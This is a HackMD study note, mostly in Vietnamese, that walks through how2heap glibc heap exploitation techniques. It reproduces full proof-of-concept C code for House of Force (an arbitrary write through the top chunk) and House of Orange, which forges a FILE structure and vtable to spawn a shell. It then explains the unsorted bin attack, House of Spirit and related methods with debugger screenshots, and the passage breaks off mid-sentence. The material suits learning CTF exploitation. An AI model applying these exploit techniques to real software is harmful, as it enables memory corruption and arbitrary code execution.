Learn CTF
      • Sharing URL Link copied
      • /edit
      • View mode
        • Edit mode
        • View mode
        • Book mode
        • Slide mode
        Edit mode View mode Book mode Slide mode
      • Customize slides
      • Note Permission
      • Read
        • Owners
        • Signed-in users
        • Everyone
        Owners Signed-in users Everyone
      • Write
        • Owners
        • Signed-in users
        • Everyone
        Owners Signed-in users Everyone
      • Engagement control Commenting, Suggest edit, Emoji Reply
    • Invite by email
      Invitee

      This note has no invitees

    • Publish Note

      Share your work with the world Congratulations! 🎉 Your note is out in the world Publish Note

      Your note will be visible on your profile and discoverable by anyone.
      Your note is now live.
      This note is visible on your profile and discoverable online.
      Everyone on the web can find and read all notes of this public team.
      See published notes
      Unpublish note
      Please check the box to agree to the Community Guidelines.
      View profile
    • Commenting
      Permission
      Disabled Forbidden Owners Signed-in users Everyone
    • Enable
    • Permission
      • Forbidden
      • Owners
      • Signed-in users
      • Everyone
    • Suggest edit
      Permission
      Disabled Forbidden Owners Signed-in users Everyone
    • Enable
    • Permission
      • Forbidden
      • Owners
      • Signed-in users
    • Emoji Reply
    • Enable
    • Versions and GitHub Sync
    • Note settings
    • Note Insights New
    • Engagement control
    • Transfer ownership
    • Delete this note
    • Insert from template
    • Import from
      • Dropbox
      • Google Drive
      • Gist
      • Clipboard
    • Export to
      • Dropbox
      • Google Drive
      • Gist
    • Download
      • Markdown
      • HTML
      • Raw HTML
Menu Note settings Note Insights Versions and GitHub Sync Sharing URL Help
Menu
Options
Engagement control Transfer ownership Delete this note
Import from
Dropbox Google Drive Gist Clipboard
Export to
Dropbox Google Drive Gist
Download
Markdown HTML Raw HTML
Back
Sharing URL Link copied
/edit
View mode
  • Edit mode
  • View mode
  • Book mode
  • Slide mode
Edit mode View mode Book mode Slide mode
Customize slides
Note Permission
Read
Owners
  • Owners
  • Signed-in users
  • Everyone
Owners Signed-in users Everyone
Write
Owners
  • Owners
  • Signed-in users
  • Everyone
Owners Signed-in users Everyone
Engagement control Commenting, Suggest edit, Emoji Reply
  • Invite by email
    Invitee

    This note has no invitees

  • Publish Note

    Share your work with the world Congratulations! 🎉 Your note is out in the world Publish Note

    Your note will be visible on your profile and discoverable by anyone.
    Your note is now live.
    This note is visible on your profile and discoverable online.
    Everyone on the web can find and read all notes of this public team.
    See published notes
    Unpublish note
    Please check the box to agree to the Community Guidelines.
    View profile
    Engagement control
    Commenting
    Permission
    Disabled Forbidden Owners Signed-in users Everyone
    Enable
    Permission
    • Forbidden
    • Owners
    • Signed-in users
    • Everyone
    Suggest edit
    Permission
    Disabled Forbidden Owners Signed-in users Everyone
    Enable
    Permission
    • Forbidden
    • Owners
    • Signed-in users
    Emoji Reply
    Enable
    Import from Dropbox Google Drive Gist Clipboard
       Owned this note    Owned this note      
    Published Linked with GitHub
    • Any changes
      Be notified of any changes
    • Mention me
      Be notified of mention me
    • Unsubscribe
    # How2Heap Walkthrough # I. House of Force - Exploit Top chunk ## 1. Source code và các ràng buộc - Decription : Exploiting the Top Chunk (Wilderness) header in order to get malloc to return a nearly-arbitrary pointer - Referrence: [how2heap : HouseOfForce](https://github.com/shellphish/how2heap/blob/master/glibc_2.27/house_of_force.c) ```c /* This PoC works also with ASLR enabled. It will overwrite a GOT entry so in order to apply exactly this technique RELRO must be disabled. If RELRO is enabled you can always try to return a chunk on the stack as proposed in Malloc Des Maleficarum ( http://phrack.org/issues/66/10.html ) Tested in Ubuntu 14.04, 64bit, Ubuntu 18.04 */ #include <stdio.h> #include <stdint.h> #include <stdlib.h> #include <string.h> #include <stdint.h> #include <malloc.h> #include <assert.h> char bss_var[] = "This is a string that we want to overwrite."; int main(int argc , char* argv[]) { int a ; scanf("%d",&a); fprintf(stderr, "\nWelcome to the House of Force\n\n"); fprintf(stderr, "The idea of House of Force is to overwrite the top chunk and let the malloc return an arbitrary value.\n"); // y tuong se dung HOF de overwrite top chunk va de malloc return 1 gia tri tuy y. fprintf(stderr, "The top chunk is a special chunk. Is the last in memory " "and is the chunk that will be resized when malloc asks for more space from the os.\n"); fprintf(stderr, "\nIn the end, we will use this to overwrite a variable at %p.\n", bss_var); // su dung HOF de overwrite value in bss_var fprintf(stderr, "Its current value is: %s\n", bss_var); fprintf(stderr, "\nLet's allocate the first chunk, taking space from the wilderness.\n");//cap phat 1 chunk intptr_t *p1 = malloc(256); fprintf(stderr, "The chunk of 256 bytes has been allocated at %p.\n", p1 - 2); //in ra dia chi cua metadata fprintf(stderr, "\nNow the heap is composed of two chunks: the one we allocated and the top chunk/wilderness.\n"); // hien tai, heap gom 2 chunk : chunk(256) + top chunk int real_size = malloc_usable_size(p1); //lay size cua chunk p1 -> real_size fprintf(stderr, "Real size (aligned and all that jazz) of our allocated chunk is %ld.\n", real_size + sizeof(long)*2); fprintf(stderr, "\nNow let's emulate a vulnerability that can overwrite the header of the Top Chunk\n"); // tao ra 1 vuln de overwrite top chunk //----- VULNERABILITY ---- intptr_t *ptr_top = (intptr_t *) ((char *)p1 + real_size - sizeof(long)); fprintf(stderr, "\nThe top chunk starts at %p\n", ptr_top); //in ra dia chi cua Top chunk fprintf(stderr, "\nOverwriting the top chunk size with a big value so we can ensure that the malloc will never call mmap.\n"); // overwrite Top chunk voi value rat lon -> malloc se khong goi den mmap fprintf(stderr, "Old size of top chunk %#llx\n", *((unsigned long long int *)((char *)ptr_top + sizeof(long))));// in ra old_size cua Top_chunk *(intptr_t *)((char *)ptr_top + sizeof(long)) = -1; // overwrite Top_chunk fprintf(stderr, "New size of top chunk %#llx\n", *((unsigned long long int *)((char *)ptr_top + sizeof(long))));// in ra new_size cua Top_chunk //------------------------ fprintf(stderr, "\nThe size of the wilderness is now gigantic. We can allocate anything without malloc() calling mmap.\n" "Next, we will allocate a chunk that will get us right up against the desired region (with an integer\n" "overflow) and will then be able to allocate a chunk right over the desired region.\n"); /* Bay gio, Top_chunk rat lon -> malloc se khong goi den mmap -> dung malloc de cap phat 1 chunk den dia chi mong muon -> va sau do cap phat 1 chunk tren vung nho do */ /* * The evil_size is calulcated as (nb is the number of bytes requested + space for metadata): * new_top = old_top + nb * nb = new_top - old_top * req + 2sizeof(long) = new_top - old_top * req = new_top - old_top - 2sizeof(long) * req = dest - 2sizeof(long) - old_top - 2sizeof(long) * req = dest - old_top - 4*sizeof(long) */ unsigned long evil_size = (unsigned long)bss_var - sizeof(long)*4 - (unsigned long)ptr_top; fprintf(stderr, "\nThe value we want to write to at %p, and the top chunk is at %p, so accounting for the header size,\n" "we will malloc %#lx bytes.\n", bss_var, ptr_top, evil_size); void *new_ptr = malloc(evil_size); fprintf(stderr, "As expected, the new pointer is at the same place as the old top chunk: %p\n", new_ptr - sizeof(long)*2); // dia chi chunk sau maloc = dia chi cua Top_chunk void* ctr_chunk = malloc(100); //cap phat den vi tri muon overwrite fprintf(stderr, "\nNow, the next chunk we overwrite will point at our target buffer.\n"); fprintf(stderr, "malloc(100) => %p!\n", ctr_chunk); fprintf(stderr, "Now, we can finally overwrite that value:\n"); fprintf(stderr, "... old string: %s\n", bss_var); fprintf(stderr, "... doing strcpy overwrite with \"YEAH!!!\"...\n"); strcpy(ctr_chunk, "YEAH!!!"); // overwrite target fprintf(stderr, "... new string: %s\n", bss_var); assert(ctr_chunk == bss_var); // some further discussion: //fprintf(stderr, "This controlled malloc will be called with a size parameter of evil_size = malloc_got_address - 8 - p2_guessed\n\n"); //fprintf(stderr, "This because the main_arena->top pointer is setted to current av->top + malloc_size " // "and we \nwant to set this result to the address of malloc_got_address-8\n\n"); //fprintf(stderr, "In order to do this we have malloc_got_address-8 = p2_guessed + evil_size\n\n"); //fprintf(stderr, "The av->top after this big malloc will be setted in this way to malloc_got_address-8\n\n"); //fprintf(stderr, "After that a new call to malloc will return av->top+8 ( +8 bytes for the header )," // "\nand basically return a chunk at (malloc_got_address-8)+8 = malloc_got_address\n\n"); //fprintf(stderr, "The large chunk with evil_size has been allocated here 0x%08x\n",p2); //fprintf(stderr, "The main_arena value av->top has been setted to malloc_got_address-8=0x%08x\n",malloc_got_address); //fprintf(stderr, "This last malloc will be served from the remainder code and will return the av->top+8 injected before\n"); } ``` ## 2. Go to debug ### 2.1 Build challenge :::info - Build Docker 16.04 (với libc 2.23) -> chạy vào docker rồi build source code - Build : `gcc --no-pie chall.c -o chall` ::: ### 2.2 Debug - Kĩ thuật này nhìn chung khá đơn giản, dễ hiểu nên chúng ta sẽ điểm qua cũng thứ quan trọng nhất. #### Quan sát bố cục của chunk: - Sau khi malloc lần 1 với size = 0x100 ![image](https://hackmd.io/_uploads/H1FFnZfz1e.png) :::success - **`chunk 1`** : - size : 0x111 - address : 0x2294020 ::: - Set-up sao cho **`Top_chunk`** là 1 giá trị rất lớn ```c fprintf(stderr, "Old size of top chunk %#llx\n", *((unsigned long long int *)((char *)ptr_top + sizeof(long)))); *(intptr_t *)((char *)ptr_top + sizeof(long)) = -1; fprintf(stderr, "New size of top chunk %#llx\n", *((unsigned long long int *)((char *)ptr_top + sizeof(long)))); ``` ![image](https://hackmd.io/_uploads/HJplRbMG1e.png) :::info - Điều này xuất phát từ cơ chế lấy chunk của hàm `malloc` - hàm malloc sẽ lấy chunk từ `Top chunk ` - Khi kích thước của `Top chunk` không còn đủ để việc cấp phát -> OS sẽ sử dụng `mmap` để cấp phát bộ nhớ - [malloc() call mmap()](https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L2579) - Việc overwrite top_chunk thành 1 số rất lớn ( 0xfffffffffffffff ) -> khiến cho `malloc` sẽ không gọi được tới `mmap` ::: - Tính toán size để ở lần malloc kế tiếp có thể malloc được vùng muốn ghi vào ```c unsigned long evil_size = (unsigned long)bss_var - sizeof(long)*4 - (unsigned long)ptr_top; fprintf(stderr, "\nThe value we want to write to at %p, and the top chunk is at %p, so accounting for the header size,\n" "we will malloc %#lx bytes.\n", bss_var, ptr_top, evil_size); ``` ![image](https://hackmd.io/_uploads/rJYXffGfye.png) -> Ở lần `malloc` tiếp, chúng ta sẽ có thể lấy chunk từ `fake top_chunk` - malloc chunk (target muốn overwrite) ```c void* ctr_chunk = malloc(100); //cap phat den vi tri muon overwrite fprintf(stderr, "\nNow, the next chunk we overwrite will point at our target buffer.\n"); fprintf(stderr, "malloc(100) => %p!\n", ctr_chunk); fprintf(stderr, "Now, we can finally overwrite that value:\n"); ``` ![image](https://hackmd.io/_uploads/HJi4Qzzzyl.png) ![image](https://hackmd.io/_uploads/B1v8QffzJx.png) ## 3. Tổng kết : ### 3.1 Ý tưởng - Thay đổi top_chunk làm cho malloc() sẽ không gọi được đến mmap khi tổng kích thước các chunk đã vượt quá top_chunk ban đầu -> Khi đó các địa chỉ sẽ được cộng dần và sẽ ghi đè vào các vùng nhớ liền kề với heap. ### 3.2 Ứng dụng - Với **`Relro`** partial hoặc Disable, hoàn toàn có thể malloc đến GOT để overwrite GOT - Nói chung là modify được các vùng nhớ ghi được : con trỏ hàm, GOT, fini_array, ... - Các dạng bài về Heap OverFlow # II. House Of Orange - Exploit Top_chunk - FSOP ## 1. Source code và các ràng buộc - Description: Exploiting the Top Chunk (Wilderness) in order to gain arbitrary code execution - Referrences: [How2heap-HouseOfOrange](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_orange.c) `source code.c` ```c #define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/syscall.h> /* The House of Orange uses an overflow in the heap to corrupt the _IO_list_all pointer It requires a leak of the heap and the libc Credit: http://4ngelboy.blogspot.com/2016/10/hitcon-ctf-qual-2016-house-of-orange.html */ /* This function is just present to emulate the scenario where the address of the function system is known. */ int winner ( char *ptr); int main() { /* The House of Orange starts with the assumption that a buffer overflow exists on the heap using which the Top (also called the Wilderness) chunk can be corrupted. At the beginning of execution, the entire heap is part of the Top chunk. The first allocations are usually pieces of the Top chunk that are broken off to service the request. Thus, with every allocation, the Top chunks keeps getting smaller. And in a situation where the size of the Top chunk is smaller than the requested value, there are two possibilities: 1) Extend the Top chunk 2) Mmap a new page If the size requested is smaller than 0x21000, then the former is followed. */ char *p1, *p2; size_t io_list_all, *top; fprintf(stderr, "The attack vector of this technique was removed by changing the behavior of malloc_printerr, " "which is no longer calling _IO_flush_all_lockp, in 91e7cf982d0104f0e71770f5ae8e3faf352dea9f (2.26).\n"); fprintf(stderr, "Since glibc 2.24 _IO_FILE vtable are checked against a whitelist breaking this exploit," "https://sourceware.org/git/?p=glibc.git;a=commit;h=db3476aff19b75c4fdefbe65fcd5f0a90588ba51\n"); /* Firstly, lets allocate a chunk on the heap. */ p1 = malloc(0x400-16); /* The heap is usually allocated with a top chunk of size 0x21000 Since we've allocate a chunk of size 0x400 already, what's left is 0x20c00 with the PREV_INUSE bit set => 0x20c01. The heap boundaries are page aligned. Since the Top chunk is the last chunk on the heap, it must also be page aligned at the end. Also, if a chunk that is adjacent to the Top chunk is to be freed, then it gets merged with the Top chunk. So the PREV_INUSE bit of the Top chunk is always set. So that means that there are two conditions that must always be true. 1) Top chunk + size has to be page aligned 2) Top chunk's prev_inuse bit has to be set. We can satisfy both of these conditions if we set the size of the Top chunk to be 0xc00 | PREV_INUSE. What's left is 0x20c01 Now, let's satisfy the conditions 1) Top chunk + size has to be page aligned 2) Top chunk's prev_inuse bit has to be set. */ top = (size_t *) ( (char *) p1 + 0x400 - 16); top[1] = 0xc01; /* Now we request a chunk of size larger than the size of the Top chunk. Malloc tries to service this request by extending the Top chunk This forces sysmalloc to be invoked. In the usual scenario, the heap looks like the following |------------|------------|------...----| | chunk | chunk | Top ... | |------------|------------|------...----| heap start heap end And the new area that gets allocated is contiguous to the old heap end. So the new size of the Top chunk is the sum of the old size and the newly allocated size. In order to keep track of this change in size, malloc uses a fencepost chunk, which is basically a temporary chunk. After the size of the Top chunk has been updated, this chunk gets freed. In our scenario however, the heap looks like |------------|------------|------..--|--...--|---------| | chunk | chunk | Top .. | ... | new Top | |------------|------------|------..--|--...--|---------| heap start heap end In this situation, the new Top will be starting from an address that is adjacent to the heap end. So the area between the second chunk and the heap end is unused. And the old Top chunk gets freed. Since the size of the Top chunk, when it is freed, is larger than the fastbin sizes, it gets added to list of unsorted bins. Now we request a chunk of size larger than the size of the top chunk. This forces sysmalloc to be invoked. And ultimately invokes _int_free Finally the heap looks like this: |------------|------------|------..--|--...--|---------| | chunk | chunk | free .. | ... | new Top | |------------|------------|------..--|--...--|---------| heap start new heap end */ p2 = malloc(0x1000); /* Note that the above chunk will be allocated in a different page that gets mmapped. It will be placed after the old heap's end Now we are left with the old Top chunk that is freed and has been added into the list of unsorted bins Here starts phase two of the attack. We assume that we have an overflow into the old top chunk so we could overwrite the chunk's size. For the second phase we utilize this overflow again to overwrite the fd and bk pointer of this chunk in the unsorted bin list. There are two common ways to exploit the current state: - Get an allocation in an *arbitrary* location by setting the pointers accordingly (requires at least two allocations) - Use the unlinking of the chunk for an *where*-controlled write of the libc's main_arena unsorted-bin-list. (requires at least one allocation) The former attack is pretty straight forward to exploit, so we will only elaborate on a variant of the latter, developed by Angelboy in the blog post linked above. The attack is pretty stunning, as it exploits the abort call itself, which is triggered when the libc detects any bogus state of the heap. Whenever abort is triggered, it will flush all the file pointers by calling _IO_flush_all_lockp. Eventually, walking through the linked list in _IO_list_all and calling _IO_OVERFLOW on them. The idea is to overwrite the _IO_list_all pointer with a fake file pointer, whose _IO_OVERLOW points to system and whose first 8 bytes are set to '/bin/sh', so that calling _IO_OVERFLOW(fp, EOF) translates to system('/bin/sh'). More about file-pointer exploitation can be found here: https://outflux.net/blog/archives/2011/12/22/abusing-the-file-structure/ The address of the _IO_list_all can be calculated from the fd and bk of the free chunk, as they currently point to the libc's main_arena. */ io_list_all = top[2] + 0x9a8; /* We plan to overwrite the fd and bk pointers of the old top, which has now been added to the unsorted bins. When malloc tries to satisfy a request by splitting this free chunk the value at chunk->bk->fd gets overwritten with the address of the unsorted-bin-list in libc's main_arena. Note that this overwrite occurs before the sanity check and therefore, will occur in any case. Here, we require that chunk->bk->fd to be the value of _IO_list_all. So, we should set chunk->bk to be _IO_list_all - 16 */ top[3] = io_list_all - 0x10; /* At the end, the system function will be invoked with the pointer to this file pointer. If we fill the first 8 bytes with /bin/sh, it is equivalent to system(/bin/sh) */ memcpy( ( char *) top, "/bin/sh\x00", 8); /* The function _IO_flush_all_lockp iterates through the file pointer linked-list in _IO_list_all. Since we can only overwrite this address with main_arena's unsorted-bin-list, the idea is to get control over the memory at the corresponding fd-ptr. The address of the next file pointer is located at base_address+0x68. This corresponds to smallbin-4, which holds all the smallbins of sizes between 90 and 98. For further information about the libc's bin organisation see: https://sploitfun.wordpress.com/2015/02/10/understanding-glibc-malloc/ Since we overflow the old top chunk, we also control it's size field. Here it gets a little bit tricky, currently the old top chunk is in the unsortedbin list. For each allocation, malloc tries to serve the chunks in this list first, therefore, iterates over the list. Furthermore, it will sort all non-fitting chunks into the corresponding bins. If we set the size to 0x61 (97) (prev_inuse bit has to be set) and trigger an non fitting smaller allocation, malloc will sort the old chunk into the smallbin-4. Since this bin is currently empty the old top chunk will be the new head, therefore, occupying the smallbin[4] location in the main_arena and eventually representing the fake file pointer's fd-ptr. In addition to sorting, malloc will also perform certain size checks on them, so after sorting the old top chunk and following the bogus fd pointer to _IO_list_all, it will check the corresponding size field, detect that the size is smaller than MINSIZE "size <= 2 * SIZE_SZ" and finally triggering the abort call that gets our chain rolling. Here is the corresponding code in the libc: https://code.woboq.org/userspace/glibc/malloc/malloc.c.html#3717 */ top[1] = 0x61; /* Now comes the part where we satisfy the constraints on the fake file pointer required by the function _IO_flush_all_lockp and tested here: https://code.woboq.org/userspace/glibc/libio/genops.c.html#813 We want to satisfy the first condition: fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base */ FILE *fp = (FILE *) top; /* 1. Set mode to 0: fp->_mode <= 0 */ fp->_mode = 0; // top+0xc0 /* 2. Set write_base to 2 and write_ptr to 3: fp->_IO_write_ptr > fp->_IO_write_base */ fp->_IO_write_base = (char *) 2; // top+0x20 fp->_IO_write_ptr = (char *) 3; // top+0x28 /* 4) Finally set the jump table to controlled memory and place system there. The jump table pointer is right after the FILE struct: base_address+sizeof(FILE) = jump_table 4-a) _IO_OVERFLOW calls the ptr at offset 3: jump_table+0x18 == winner */ size_t *jump_table = &top[12]; // controlled memory jump_table[3] = (size_t) &winner; *(size_t *) ((size_t) fp + sizeof(FILE)) = (size_t) jump_table; // top+0xd8 /* Finally, trigger the whole chain by calling malloc */ malloc(10); /* The libc's error message will be printed to the screen But you'll get a shell anyways. */ return 0; } int winner(char *ptr) { system(ptr); syscall(SYS_exit, 0); return 0; } ``` ## 2. Go to debug - Trong kĩ thuật này mình debug trên phiên bản libc 2.23 - Ban đầu chúng ta sẽ malloc(0x400-16) ![image](https://hackmd.io/_uploads/HkRZ_V7f1e.png) - Tiếp theo sẽ thay đổi `top_chunk` để chuẩn bị malloc 1 chunk > `size top_chunk` ![image](https://hackmd.io/_uploads/ByVWbJ8fJx.png) ### 2.1 :writing_hand: Overwrite top_chunk - Tại sao là 0x7f1 ??? - Điều làm chúng ta thắc mắc chính là size của `top_chunk` = 0x7f1 ? - Đoạn này mình thử overwrite top_chunk = 0xc01(1 cái size khác) và xem kết quả : ![image](https://hackmd.io/_uploads/By0fx8LGke.png) :::danger malloc.c:2392: sysmalloc: Assertion `(old_top == initial_top (av) && old_size == 0) || ((unsigned long) (old_size) >= MINSIZE && prev_inuse (old_top) && ((unsigned long) old_end & (pagesize - 1)) == 0)' failed. ::: - Đọc source libc : [assert](https://elixir.bootlin.com/glibc/glibc-2.23/source/malloc/malloc.c#L2392) ![image](https://hackmd.io/_uploads/BJnbWIUMJx.png) #### :pushpin: Yêu cầu điều kiện : :::info Để hàm `assert()` không được gọi thì cần thỏa mãn 1 trong 2 điều kiện ::: :point_right: TH1 : `old_top == initial_top(av) && old_size == 0` - Ta có : old_size = chunksize (old_top) -> Điều kiện này luôn sai :point_right: TH2 : `((unsigned long) (old_size) >= MINSIZE && prev_inuse (old_top) && ((unsigned long) old_end & (pagesize - 1)) == 0)` - prev_inuse bật (=1) - MINSIZE = 0x10 - ((unsigned long) old_end & (pagesize - 1)) == 0)) ------> old_end chia hêt 0x1000 - old_end = (char *) (chunk_at_offset (old_top, old_size)); - [chunk_at_offset](https://elixir.bootlin.com/glibc/glibc-2.23/source/malloc/malloc.c#L1313) : `#define chunk_at_offset(p, s) ((mchunkptr) (((char *) (p)) + (s)))` ![image](https://hackmd.io/_uploads/BJWADwLM1l.png) #### :dart: Tổng kêt điều kiện : :::success - Bit prev_inuse = 1 - Size của top_chunk + địa chỉ top_chunk chia hêt 0x1000 - size >= 0x10 ::: #### put into unsorted bin - Sau khi đã thỏa mãn các điều kiện, chương trình sẽ gọi [int_free()](https://elixir.bootlin.com/glibc/glibc-2.23/source/malloc/malloc.c#L2440) để đưa top_chunk cũ vào unsorted bin ![image](https://hackmd.io/_uploads/HyXYx_UG1g.png) ### 2.2 :writing_hand: Heap overflow exploit unsortedbin #### Main_arena - Trước khi đến với phần tiếp theo để liên kết kiến thức thì chung ta sẽ tìm hiểu 1 kiến thức cực kì quan trọng về Heap chinh là `main_arena` - Heap đưa struct [main_arena](https://elixir.bootlin.com/glibc/glibc-2.23/source/malloc/malloc.c#L1761) vào ngay trong bộ nhớ tiến trình. Đây là struct có kiểu [malloc_state](https://elixir.bootlin.com/glibc/glibc-2.23/source/malloc/malloc.c#L1686) và chứa các trường sau ( trích từ glibc-2.23/malloc/malloc.c ): ```c static struct malloc_state main_arena = { .mutex = _LIBC_LOCK_INITIALIZER, .next = &main_arena, .attached_threads = 1 }; ``` ```c struct malloc_state { /* Serialize access. */ mutex_t mutex; /* Flags (formerly in max_fast). */ int flags; /* Fastbins */ mfastbinptr fastbinsY[NFASTBINS]; /* Base of the topmost chunk -- not otherwise kept in a bin */ mchunkptr top; /* The remainder from the most recent split of a small request */ mchunkptr last_remainder; /* Normal bins packed as described above */ mchunkptr bins[NBINS * 2 - 2]; /* Bitmap of bins */ unsigned int binmap[BINMAPSIZE]; /* Linked list */ struct malloc_state *next; /* Linked list for free arenas. Access to this field is serialized by free_list_lock in arena.c. */ struct malloc_state *next_free; /* Number of threads attached to this arena. 0 if the arena is on the free list. Access to this field is serialized by free_list_lock in arena.c. */ INTERNAL_SIZE_T attached_threads; /* Memory allocated from the system in this arena. */ INTERNAL_SIZE_T system_mem; INTERNAL_SIZE_T max_system_mem; }; ``` ##### :sweat_drops: mutex_t mutex; - là 1 số nguyên + glibc dùng để bảo vệ arena khỏi xung đột các thread ##### :sweat_drops: int flags; - 1 số nguyên mà main_arena dùng để đánh dấu chinh nó hoặc gán các thuộc tính ##### :sweat_drops: mfastbinptr fastbinsY[NFASTBINS] - struct : [mfastbinptr](https://elixir.bootlin.com/glibc/glibc-2.23/source/malloc/malloc.c#L1597) + [malloc_chunk](https://elixir.bootlin.com/glibc/glibc-2.23/source/malloc/malloc.c#L1111) - là 1 con trỏ tới fastbin ##### :sweat_drops: mchunkptr top + last_remainder + bins[NBINS * 2 - 2] - struct : [mchunkptr](https://elixir.bootlin.com/glibc/glibc-2.23/source/malloc/malloc.c#L1051) - `mchunkptr top`: Đây là con trỏ trỏ tới chunk trên cùng của heap - `mchunkptr bins`: Đây là một con trỏ trỏ tới phần đầu của các unsorted bins - `unsigned int binmap`: Đây là một danh sách các chỉ mục cho tất cả các bins, chỉ ra bin nào đang trống ##### :eyes: main_arena trong gdb - Khi 1 chunk đưa vao `unsorted bin` -> sẽ lưu địa chỉ của main_arena ![image](https://hackmd.io/_uploads/SyFTjgvfJg.png) - Địa chỉ được lưu ở ubin chính là địa chỉ của con trỏ `*top` trong lưu (chính là địa chỉ `top_chunk` hiện tại) ![image](https://hackmd.io/_uploads/HJfl3xvzyg.png) ![image](https://hackmd.io/_uploads/Bkht2lwzyg.png) - Kích thước của `heap` cũng được mở rộng : ![image](https://hackmd.io/_uploads/SkyHEKwMJg.png) ![image](https://hackmd.io/_uploads/ry_1rFvGkl.png) ![image](https://hackmd.io/_uploads/r1LErtwGye.png) ##### :eyes: Unsortbin attack (HowtoHeap) - Tuy không phải là kĩ thuật tổ quát hay duy nhất để thực hiện House of Orange nhưng nếu HowtoHeap đã gợi ý thì học luôn vậy. Đâm lao thì theo lao thôi :)) - [Unsortbin attack](https://github.com/shellphish/how2heap/blob/master/glibc_2.27/unsorted_bin_attack.c) - Dựa trên kết quả từ [Ubin Attack](https://hackmd.io/BsWCXE4rQN-wYTepjJbnvw?view#III-UnsortedBin-Attack) - `Trước` ![image](https://hackmd.io/_uploads/Hyv4BoFXyg.png) ![image](https://hackmd.io/_uploads/Bk3pSsY7Jl.png) - `Sau` ![image](https://hackmd.io/_uploads/SkzV8sK7Jx.png) ### 2.3 :writing_hand: From `_IO_flush_all_lockp` to FSOP - Kĩ thuật này được đề cập trong [FSOP-Angel Boy](https://repository.root-me.org/Exploitation%20-%20Syst%C3%A8me/EN%20-%20Play%20with%20FILE%20Structure%20-%20Yet%20Another%20Binary%20Exploit%20Technique%20-%20An-Jie%20Yang.pdf) - Khi malloc gặp lỗi sẽ call `malloc_printerr` -> ... -> `IO_flush _all_lockp` (là nơi trực tiếp bị khai thác) ![image](https://hackmd.io/_uploads/ryhIDoFmyg.png) #### `_IO_flush_all_lockp` hoạt động như thế nào ? - Theo AngelBoy, ![image](https://hackmd.io/_uploads/Hy3kKoFQJg.png) - [_IO_flush_all_lockp.c](https://elixir.bootlin.com/glibc/glibc-2.23/source/libio/genops.c#L772) ```clike. ... fp = (_IO_FILE *) _IO_list_all; while (fp != NULL) { run_fp = fp; if (do_lock) _IO_flockfile (fp); if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base) #if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T || (_IO_vtable_offset (fp) == 0 && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)) #endif ) && _IO_OVERFLOW (fp, EOF) == EOF) result = EOF; ... ``` :::info - Dựa trên source code thì ta có thể hàm này sẽ duyệt qua các IO_FILE và sau đó call `_IO_OVERFLOW (fp, EOF) == EOF)` (đây là 1 con trỏ hàm trong vtable) ::: #### Target FSOP - Sau khi hiểu được workflow, ta có được ý tưởng của kĩ thuật này như sau : ![image](https://hackmd.io/_uploads/Hyxg9iY7Jg.png) :::success Ta có thể kĩ thuật này sẽ thay đổi `chain` của IO_FILE + `vtable` để khi call `_IO_OVERFLOW` sẽ call hàm mà chúng ta mong muốn ::: # III. UnsortedBin Attack - Trong quá trình làm kĩ thuật House of Orange mà HowtoHeap đê cập nên nó sẽ bổ trợ của HOO . - Kĩ thuật xuất phát từ cách dùng lại chunk ở trong UnsortedBin - Bố trí của Unsortbin chính là 1 DSLK đôi ![image](https://hackmd.io/_uploads/HJqqrLOmke.png) :::success - Sau khi overwrite bk của chunk trong ubin -> vị trí tại `(bk+0x10) = fd` ::: - Trước ![image](https://hackmd.io/_uploads/H1BR7iYQ1e.png) ![image](https://hackmd.io/_uploads/Hk7b4jKmJl.png) - Sau : ![image](https://hackmd.io/_uploads/rypV4sFQyx.png) ![image](https://hackmd.io/_uploads/SkVqNiYmkx.png) # IV. House Of Tangerine - Là 1 phiên bản mới hơn so với House Of Orange - Ý tưởng : overwrite top_chunk thành size phù hợp với fastbin hoặc tcache sau đó đưa top_chunk vào bin. -> House này thường sẽ có Heap Overflow -> Ngoài ra còn có thể gây lỗi Use After Free/Double Free # V. Heap consolidation - Off by one ![image](https://hackmd.io/_uploads/rJYGBc08C.png) ![image](https://hackmd.io/_uploads/S1G5B50UC.png) - Byte tràn là **`NULL`**. Khi kích thước là 0x100, việc tràn byte NULL sẽ làm cho **`prev_in_usebit`** bị xóa, do đó khối trước đó được coi là **`khối trống`**. (1) Lúc này bạn có thể chọn sử dụng phương thức hủy liên kết (xem phần hủy liên kết) để xử lý. (2) Ngoài ra, khi trường **`prev_size`** được bật, bạn có thể **`giả mạo prev_size`**, gây ra **`sự chồng chéo`** giữa các khối. Chìa khóa của phương pháp này là việc hủy liên kết không kiểm tra xem khối cuối cùng của khối được tìm thấy bởi prev_size(về mặt lý thuyết là khối hiện chưa được liên kết) có bằng kích thước khối hiện đang được hủy liên kết hay không. ![image](https://hackmd.io/_uploads/SkYN6jALA.png) # VI. House of spirit - Fast bin bypass - Mục tiêu : fake địa chỉ stack, bss, ... vào fastbin để ghi vào đó tùy ý. ## note - `long fake_chunks[10] __attribute__ ((aligned (0x10))); ` - long : 64bit - __attribute__ ((aligned (0x10))) : Địa chỉ bắt đầu của mảng `fake_chunks` sẽ được căn thẳng tới biên có bội số của 16 byte. - `fake_chunks[9] = 0x1234` : mục tiêu đoạn này là bypass qua check size của next chunk của fastbin ## ý tưởng - Bản chất cảu skill này là thực hiện fake chunk trên fast bin sao cho chuẩn với các bài test của glibc ### misaligned_chunk ![image](https://hackmd.io/_uploads/SJKyT_44xe.png) - Kiểm tra xem phần địa chỉ `userdata` có chia hết cho 16 hay không - Lí do cho việc : `__attribute__ ((aligned (0x10)));` ### next chunk #### minsize ![image](https://hackmd.io/_uploads/Hyv56_V4le.png) - size của next chunk phải có kích thức >= 0x20 (với 64bit) - Ở phần tính toán `next chunk` thì dựa vào `address + size` #### maxsize ![image](https://hackmd.io/_uploads/Sy3tAuNVlx.png) - max_size ≈ 128 KB -> nói chung fake bé bé thôi ![image](https://hackmd.io/_uploads/SJRHJKNEle.png) # VII. House Of Botcake (double free -> tcache to stack) - **Target : fake chunk đến địa chỉ tùy ý (stack, libc,...) dựa trên double free** - Ý tưởng : - Lấp đầy `tcache` (7 chunk) -> đưa chunk vào unsorted -> sau sẽ tận dụng để gộp chunk trong unsorted - Đưa 